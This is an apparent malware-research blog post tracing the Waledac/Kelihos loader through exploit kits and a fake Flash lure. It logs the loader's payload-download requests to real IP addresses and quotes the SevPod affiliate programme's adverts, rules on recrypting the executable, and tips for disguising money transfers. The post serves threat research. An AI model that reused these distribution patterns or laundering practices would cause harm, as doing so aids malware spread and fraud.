Severa's Avatar
Waledac (aka spambot.kelihos) is the Kelihos bot Loader (mod2/[whatever].exe) and is also loading Simda (right now : Simda.AT (MS)  - mod1/[whatever].exe).

As all affiliate stuff you'll see it in many infection paths

Here in Magnitude (Top-Exp) :
Waledac pushed in Magnitude 2013-10-10
bed3362bd67c4383deba769b81006a67bed3362bd67c4383deba769b81006a67 Tried :
GET /b0ber03.exe HTTP/1.0
Host: 78.154.13.143
This is the old pattern for 2nd stage call.
After middle of december :

Kelihos - Some new pattern in payload distribution : /(mod1|mod2)/(satpro1|kecik01).exe
— kafeine (@kafeine) December 14, 2013 Here in Neutrino Thread 6426346 :

Waledac pushed in Neutrino
2014-01-02
(after *.hopto.me/appSound.swf redirector on 198.50.171.61 and 36)
18a63f41598243ea591cf4a9837c907018a63f41598243ea591cf4a9837c9070 tried :
GET /mod2/safpro1.exe HTTP/1.0
Host: 62.182.87.57GET /mod1/safpro1.exe HTTP/1.0
Host: 46.49.31.165
Here in Styx :
In Styx on 2014-03-05
93c0bd582157e28422f2da7a3cae92c093c0bd582157e28422f2da7a3cae92c0 tried :
GET /mod2/5minut1.exe HTTP/1.0
Host: 92.114.193.170
GET /mod1/5minut1.exe HTTP/1.0
Host: 178.150.244.54


Here in Sweet Orange
In Sweet Orange on 2014-03-09 (after Keitaro)
6397feb9b6b79799c32e271d88b7a688
(Can't get the call for this one )

And I made a pass just now on a fake Flash Player (Soc Eng) :

Waledac pushed as a Fake Flash Player on fake porn websites
Soc eng 2014-05-10
479209d2e582511657662862e2944a10This 479209d2e582511657662862e2944a10 tried :
GET /mod1/hafl825.exe HTTP/1.0
Host: 178.150.244.54GET /mod2/hafl825.exe HTTP/1.0
Host: 176.8.154.15Note: Was SkyTraf till recently.

So here is the affiliate behind this :

Advert on UndergroundOriginal Text from the Advert :
------------------------------------------
С гордостью хочу представить Вам свой новый проект - приватную партнерку по подмене выдачи SevPod.com. Мне удалось сделать действительно долгоживущую подмену, и Ваши загрузки будут приносить Вам доход многие месяцы даже после того, как Вы перестанете грузить. В отличие от других подмен, у меня есть биды фактически для всех стран. Конечно, чудес не бывает, и максимальный доход Вы получите с Сша, Канады, Австралии, Великобритании, Западной Европы, но и страны третьего мира будут длительное время приносить Вам стабильный доход! 95% от денег, которые я получаю за клики от фид провайдеров, я выплачиваю своим адвертам.

Регистрируйтесь на сайте SevPod.com, и стучите мне в жабу jabber@honese.com для апрува Вашего аккаунта.

Всем удачных загрузок. 


--------------------

Jabber(XMPP): jabber@honese.com
ICQ: 104967
------------------------------------------
Translated by google as :
------------------------------------------
Proudly want to introduce you to your new project - a private affiliate for substitution issue SevPod.com. I managed to make a really long-lived substitute , and your download will bring you income for many months , even after you stop shipping. Unlike other substitutions , I have bids for virtually all countries. Of course, miracles do not happen , and you will get the maximum revenue from the U.S., Canada , Australia, UK, Western Europe, but also the third world countries will be a long time to bring you a steady income ! 95% of the money that I get for clicks from feed providers , I'm paying your adverts .

Register online SevPod.com, and knock me into a toad for jabber@honese.com apruva your account.

All successful downloads .


--------------------

Jabber (XMPP): jabber@honese.com
ICQ: 104967
------------------------------------------

Note : The portal domain has changed . Severa wrote he had to do that cause of Competitors

Sevpod : Login pageSevpod - NewsNews :
------------------------------------------
May 5, 2014
Новости от 5 мая
Всем выплатил по 25 апреля включительно, сорри за небольшую задержку на этой неделе.

Хочу заметить, что подмена выдачи + кликер это долгоживущая тема, и если сравнивать несколько партнерок, одна, например, дает 1000 долларов в первый месяц, вторая 800 долларов, а третья - 500 долларов. Кажется, что первая партнерка гораздо лучше всех, а на самом деле может получиться так, что первая партнерка приносит деньги только 1 месяц с момента отгрузки, а вторая - 2-3 месяца, а третья - вообще полгода. И за длительный период, третья, изначально не самая выгодная партнерка приносит втрое больше конкурентов.

Также хочу заметить, что необходимо доверять людям, стоящим за той или иной партнеркой, что в один прекрасный день они просто не пропадут, оставив Вас без выплат.

Удачного Вам дня!

April 20, 2014
Список конвертящихся стран
Я вынужден ограничить список принимаемых моей партнеркой стран следующими странами:

Австралия
Великобритания
Германия
Индия
Индонезия
Испания
Италия
Канада
Нидерланды
Польша
Румыния
Сирия
США
Таиланд
Франция
Швеция
ЮАР
Япония

Лить на меня страны НЕ из этого списка более нет смысла, загрузка даже не отстучит в стату. Благодарю за внимание.

April 16, 2014
Смена домена
Внимание, из-за абуз конкурентов мне пришлось сменить домен с sevpod.com на [redacted]. Данная смена никак не скажется на заработке моих адвертов, но не забудьте обновить у себя линк для скачивания моего exe файла. Тем же, кто пишет абузы, посоветую от души не раскачивать лодку, сами же в ней сидите. Не можете платить адвертам столько, сколько плачу я - оптимизируйте свой бизнес, а не пишите абузы на мой. Всем удачи!

March 11, 2014
Улучшили отстук!
Исправили отстук, стало получше, кто пробовал ранее и кого не устраивал отстук - попробуйте еще, думаю, будете приятно удивлены. Конвертим любые загрузки!


March 1, 2014
Выплаты
Всем выплатил по 21 февраля включительно, кто не получил - пишите тикет, скорее всего у вас не заполнены платежные данные. Теперь выплаты будут регулярно, раз в неделю, по субботам.

February 12, 2014
Можно грузить!
Все проблемы полностью решены, можно грузить, в любом объеме!

January 22, 2014
Пауза
Прошу временно преостановить загрузки, идет переезд в новый ДЦ и большое обновление софта, возможны потери части загрузок. Пауза несколько дней, как можно будет грузить - я сообщу. Благодарю за внимание.

January 15, 2014
Автоматические выплаты, от 1 цента!
Все аккаунты от 100 долларов баланса уже получали все в срок, аккаунты меньше 100 долларов - были задержки с выплатами. Сейчас автоматизировал все, теперь будет уходить автоматически, раз в неделю, суммы от 1 цента! Минималки фактически теперь нет вообще.

December 31, 2013
С Новым Годом!
Пришло время раздать наши новогодние подарки. Больше всего загрузок сделал адверт с ID 11325, и он же заработал больше всего денег за эту новогоднюю неделю, и хотя еще 6 часов до окончация срока акции, уже врядли что-то поменяется. 2000 вмз выплачены законному победителю! Также пользуясь случаем поздравляю всех своих партнеров, клиентов, да и просто всех-всех-всех с Наступающим 2014 Годом. Удачи, всех благ, успехов в новом году.

December 24, 2013
Новогодние подарки от SevPod.com
Поздравляю всех с Наступающим 2014 Годом, и желаю всем здоровья, успехов в бизнесе и удачи во всех начинаниях. Всем известно, что дедушка Мороз живет на севере, и, конечно, у него есть два подарка для двух наших лучших адвертов, к Новому 2014 Году.

+1000$ тому, кто получит наибольший профит за неделю с 25 по 31 декабря*
+1000$ тому, кто сделает больше всего загрузок за неделю с 25 по 31 декабря**

Номера ID аккаунтов победителей будут объявлены в 00.00 1 января 2014 года по мск, в новостях партнерки и в этом топике, и им незамедлительно от партнерской программы SevPod.com на их WMZ аккаунт будет выплачен их новогодний подарок!

* USD, в сумме за все дни акции, по статистике партнерки SevPod.com
** загрузок, в сумме за все дни акции, по статистике партнерки SevPod.com

О партнерской программе SevPod.com

SevPod.com это новейшая революционная партнерская программа по подмене поисковой выдачи. Мы получаем максимальные биды от наших фид провайдеров, 95% от полученных нами средств мы отдаем нашим адвертам. Конвертируем клики почти всех стран мира, кроме этого активно используем более современные методы монетизации траффика, такие как оплата за действия пользователя на сайте, оплата за просмотр и взаимодействие с различным контентом. В отличие от кликботового траффика, у нас живой траффик, такой траффик стоит значительно дороже, и будет приносить вам доход длительное время с момента загрузки.

Регистрируйтесь на сайте SevPod.com, и стучите мне в жабу за апрувом Вашего аккаунта: jabber@honese.com
Всех еще раз с Наступающим Новым 2014 Годом!
С Уважением, Пётр Севера

December 19, 2013
Проблема с отстуком решена!
Проблема с отстуком решена полностью, можно грузить без ограничений, обязательно обновите ехе файл.

December 12, 2013
Низкий отстук
Наблюдается низкий уровень отстука, я работаю над этим, в ближайшие два дня будет релиз, в котором проблема будет решена. Приношу всем свои извинения за доставленные неудобства.

December 9, 2013
Поехали!
С гордостью хочу представить Вам свой новый проект - приватную партнерку по подмене выдачи SevPod.com. Мне удалось сделать действительно долгоживущую подмену, и Ваши загрузки будут приносить Вам доход многие месяцы даже после того, как Вы перестанете грузить. В отличие от других подмен, у меня есть биды фактически для всех стран. Конечно, чудес не бывает, и максимальный доход Вы получите с Сша, Канады, Австралии, Великобритании, Западной Европы, но и страны третьего мира будут длительное время приносить Вам стабильный доход! 95% от денег, которые я получаю за клики от фид провайдеров, я выплачиваю своим адвертам. Если у Вас есть вопросы, Вы можете задать их мне в тикетах.

Всем удачных загрузок!

------------------------------------------
Translated by Google As:
------------------------------------------
May 5 , 2014
News from May 5
All paid through April 25 , inclusive , sorry for the delay this week.

I note that the issue of substitution + clicker is a long-lived topic , and if you compare a few companions , one , for example, gives $ 1,000 in the first month , the second $ 800 , and the third - $ 500. It seems that the first affiliate program is much better than anyone, and in fact it may happen that the first affiliate makes money only 1 month from date of shipment , and the second - 2-3 months , and the third - generally six months. And over a long period , and the third , originally not the most profitable affiliate program brings three times more competitors.

I also want to note that you must trust the people standing in one way or another affiliate , that one day they just do not disappear , leaving you without payment .

Have a nice day !

April 20 , 2014
List of countries konvertyaschihsya
I had to limit my list of accepted affiliate of the following countries:

Australia
United Kingdom
Germany
India
Indonesia
Spain
Italy
Canada
Netherlands
Poland
Romania
Syria
USA
Thailand
France
Sweden
South Africa
Japan

Pour me out of this country is NOT a list makes no sense, not even loading otstuchit in the article. Thank you for your attention .

April 16 , 2014
Changing domain
Attention because of abuse competitors I had to change domain sevpod.com on [redacted]. This change will not affect the earnings of my adverts , but do not forget to update at the link to download my exe file. Those who wrote abuzy , heartily advise not to rock the boat , they themselves sit in it . Adverts can not pay as much as I cry - optimize your business , and do not write in my abuzy . Good luck to everyone !

March 11 , 2014
Improved otstuk !
Otstuk corrected , it became better , who tried earlier and who are not satisfied otstuk - try , I think will be pleasantly surprised . Converteam any download !


March 1 , 2014
payments
All paid through February 21, inclusive, who have not got - write a ticket , you probably have not completed the payment details . Payments will now regularly , once a week , on Saturdays.

February 12 , 2014
Can be shipped !
All problems are fully addressed , can be shipped in any volume !

January 22 , 2014
pause
Ask temporarily preostanovit boot is moving into a new DC and a lot of updating software, possible loss of the downloads . Pause for several days, it will be possible to ship - I 'll let you know . Thank you for your attention .

January 15 , 2014
Automatic payments from 1 cent !
All accounts from $ 100 balance already received everything in time , accounts less than $ 100 - there were delays in payments . Now all automated now will go automatically , once a week, the amount of 1 cent ! Minimum payout is now virtually non-existent.

December 31 , 2013
Happy New Year!
It's time to give our Christmas gifts . Most downloads made ​​adverts with ID 11325 , and he also earned the most money for this New Year's week , and although another 6 hours of the campaign to okonchatsiya already unlikely anything will change . 2000 vmz paid rightful winner! Also take this opportunity to congratulate all our partners, customers , and just all -all-all a Happy Year 2014 . Good luck, all the best and success in the new year.

December 24 , 2013
Christmas gifts from SevPod.com
Congratulations to all a Happy Year 2014 , and I wish you health , success in business and success in all endeavors. Everyone knows that Santa Claus lives in the North, and, of course , he has two gifts for two of our best adverts , for the New Year 2014 .

$ 1000 to the person who will receive the greatest profit for the week 25 to 31 December *
$ 1000 to the person who will do the most downloads for the week of 25 to 31 December **

ID number accounts winners will be announced at 00.00 January 1, 2014 by MSK , news affiliate in this topic, and it promptly from affiliate programs on their SevPod.com WMZ account will be paid their Christmas gift !

* USD, for a total of all the days of action , according to statistics affiliate SevPod.com
** Downloads in total for all the days of action , according to statistics affiliate SevPod.com

About affiliate program SevPod.com

SevPod.com is the latest revolutionary affiliate program by substitution SERPs. We get maximum bids from our feed providers , 95 % of the funds received by us we give our adverts . Convert clicks almost all countries of the world , besides actively use more modern methods of monetizing traffic , such as pay per user activity on the site, pay per view and interact with different content . Unlike klikbotovogo traffic , we live traffic , so traffic is much more expensive , and will bring you an income for a long time since boot .

Register online SevPod.com, and knock me into a toad for apruvom your account : jabber@honese.com
Again all a Happy New Year 2014 !
Sincerely, Peter North

December 19 , 2013
Problem solved with the feedbacks !
The problem with otstuk completely solved , can be shipped without limitation, be sure to update exe file.

December 12 , 2013
low otstuk
A low level of feedbacks , I'm working on this in the next two days will be release in which the problem is solved . Bring all apologize for the inconvenience.

December 9 , 2013
Let's go!
Proudly want to introduce you to your new project - a private affiliate for substitution issue SevPod.com. I managed to make a really long-lived substitute , and your download will bring you income for many months , even after you stop shipping. Unlike other substitutions , I have bids for virtually all countries. Of course, miracles do not happen , and you will get the maximum revenue from the U.S., Canada , Australia, UK, Western Europe, but also the third world countries will be a long time to bring you a steady income ! 95% of the money that I get for clicks from feed providers , I'm paying your adverts . If you have any questions , you can ask them to me in the ticket .

All successful downloads!
------------------------------------------

SevPod - Rules
Rules:
------------------------------------------
Файл
Я гружу только подмену поисковой выдачи. Грузить можно параллельно с чем угодно, это ваше право, я не настаиваю на эксклюзиве. Запрещается грузить параллельно винлокеры или злые АВ, вообщем, все то, что блокирует процессы и не дает работать моей подмене выдачи. Все остальное - можно. Ссылка в разделе Линки - ПРИВАТНАЯ. Скачивайте файл себе, а оттуда уже раздавайте, напрямую с меня грузить запрещается. Файл перекриптовывается раз в 20 минут, лучше обновлять его у себя автоматически также раз в 20-30 минут. Если делаете это руками, то делайте не реже раза в день.

Выплаты
Выплаты производятся раз в неделю, по пятницам, за прошлую неделю, автоматически, на вебмани. Могу платить EPESE, просто указывайте в реквизитах вмз кошелек EPESE и свой аккаунт EPESE. Внимание! Цифры в стате могут уточняться до 7 дней, в большую сторону, по мере получения данных от наших партнеров.

Статистика
Задержка статистики порядка 10-20 минут, также часть загрузок могут достукивать в течение 1-2 дней, сверять статы лучше за период от 24 часов и больше.

Общее
Каждый, кто начал работать с системой, автоматически соглашается с этими правилами. Любому, кто нарушил данные правила, может быть отказано в оплате загрузок. Запрещается выгружать мой ехе из памяти, удалять/изменять мой файл, ключи реестра или любые мои данные, хранимые на клиенте. Аккаунты, уличенные в этом, будут заблокированы без выплат. Я оставляю за собой право, при необходимости, менять действующие правила выкупа загрузок, и, обязуюсь, по возможности, уведомлять всех участников системы об изменении этих правил.------------------------------------------Translated by Google as:------------------------------------------
file
I ship only substitution SERPs. Shipping can be parallel with anything, it is your right , I do not insist on exclusive. Prohibited from shipping or evil parallel vinlokery AB in general, everything that blocks the processes and does not work my substitution issue . Everything else - you can. Reference section Links - PRIVATE . Download the file itself, and from there to hand out directly with me to ship prohibited. Perekriptovyvaetsya file every 20 minutes , it is better to update it automatically also at times in 20-30 minutes. If you do that by hand , do at least once a day.

paymentsPayments are made once a week, on Fridays, in the last week , automatically, WebMoney . Can pay EPESE, just specify in the details vmz EPESE wallet and your account EPESE. Attention! The figures in the article may be adjusted up to 7 days in a big way , as data is received from our partners.
statisticsLatency statistics about 10-20 minutes , as part of downloads can dostukivat within 1-2 days , check the stats better for a period of 24 hours or more .
commonEveryone who began to work with the system automatically agree with these rules. Anyone who violated these rules may be denied payment downloads . It is forbidden to upload my exe from memory , delete / edit my file , registry keys , or any of my data stored on the client. Accounts found to be in it, will be blocked without payments. I reserve the right , if necessary , to change the current rules redemption downloads , and undertake , if possible, notify all participants in the system to change these rules.------------------------------------------
SevPod - Statistics - Overall

SevPod - Statistics - ByCountrySevpod - PaymentSevPod - TicketsSevPod - Link
Ннапрямую с этой ссылки грузить ехе на ботов НЕЛЬЗЯ, скачивайте ехе себе, линк ПРИВАТНЫЙ.Нарушение этого правила карается удалением аккаунта, без выплат.
----
Nnapryamuyu ship via this link exe NOT bots, download exe itself, PRIVATE link. Violation of this rule is punishable by deleting the account without payments.
Note: From what i understand Severa want those links to stay private and not sent as tasks in Botnet for instance as it could be catched by InfoSec community.
SevPod - ProfileFiles : KelihosPack_2014-05-10.zip (3 samples: Loader (Waledac), Simda and Kelihos bot)


SevPod now can pay in Bitcoin.
------------------------------------------
По многочисленным просьбам адвертов, я начинаю выплаты в биткоин. Теперь для выплат доступны две валюты: Webmoney(WMZ) и Bitcoin(BTC), по курсу BTC-E на момент выплаты. Для смены платежных реквизитов создавайте тикет. Также, поскольку теперь я буду работать с двумя этими электронными валютами, я предлагаю всем желающим обмен WMZ <-> BTC, условия ниже.

Условия обмена WMZ<->BTC от Severa

1) WMZ я готов принимать от аттестата, не ниже персонального, или чеками Paymer. Если у вас формальный или начальный аттестат, я буду смотреть BL, и принимать решение персонально. В любом случае, впарить мне грязные вебмани - это способ остаться и без них, и без биткоина, предупреждаю сразу. Так как Webmoney против таких обменов, в примечании перевода Webmoney обязательно указывать что-то нейтральное: "За услуги", "Частный перевод", "For services" или что-то еще.

2) Биткоин я принимаю любой, без ограничений

3) Минимальная сумма обмена - 1000 Usd. Поймите меня правильно, это не мой бизнес, я занимаюсь рассылками по емайл и партнеркой по подмене поисковой выдачи + кликботом, обмен денег - это не мое. Все обмены я делаю в ручном режиме, автоматического обменника не планируется.

4) Стоимость обмена в любую сторону - 3%

5) Верхних лимитов у меня нет, с радостью обменяю любую сумму в любую сторону

Для обмена стучите мне в жабу: jabber@honese.com
------------------------------------------Google translated as :------------------------------------------Due to numerous requests adverts , I begin payments in Bitcoin . Now available for payments two currencies : Webmoney (WMZ) and Bitcoin (BTC), at the rate of BTC-E at the time of payment . To change your billing information, create a ticket . Also, because now I will be working with these two electronic currency , I suggest everyone exchange WMZ <-> BTC, the conditions below.
Terms exchange WMZ <-> BTC from Severa
1 ) WMZ I am ready to take on the certificate , not less than personal , or checks Paymer. If you have a formal or initial certificate, I'll watch BL, and decide personally . In any case, I vparit vebmani dirty - it's a way to stay without them, and without Bitcoins , I warn you once . Since Webmoney against such exchanges , in a footnote translation Webmoney necessarily indicate something neutral " for services " , "Private transfer ", "For services" or something else.
2) I accept Bitcoin anyone without restrictions
3) The minimum amount of exchange - 1000 Usd. Do not misunderstand me , it's not my business , I do newsletters by email and affiliate for substitution SERPs + klikbotom , exchange of money - it's not mine . All exchanges I do in manual mode , automatic exchanger is planned.
4 ) Cost of the exchange in either direction - 3%
5) Upper limits I have gladly exchange any amount in any direction
To exchange knock me into a toad : jabber@honese.com------------------------------------------


Read More :Don’t Like Spam? Complain About It. - 2013-11-19 Brian KrebsWaledac Kelihos Botnet Takeover, Detection and Protection - 2012-03-28 - Brett Stone-Gross - Dell SecureWorksMr. Waledac: The Peter North of Spamming - 2012-01-26 - Brian KrebsOperation b79 (Kelihos) and Additional MSRT September Release - 2011-09-27 MSFT-MMPC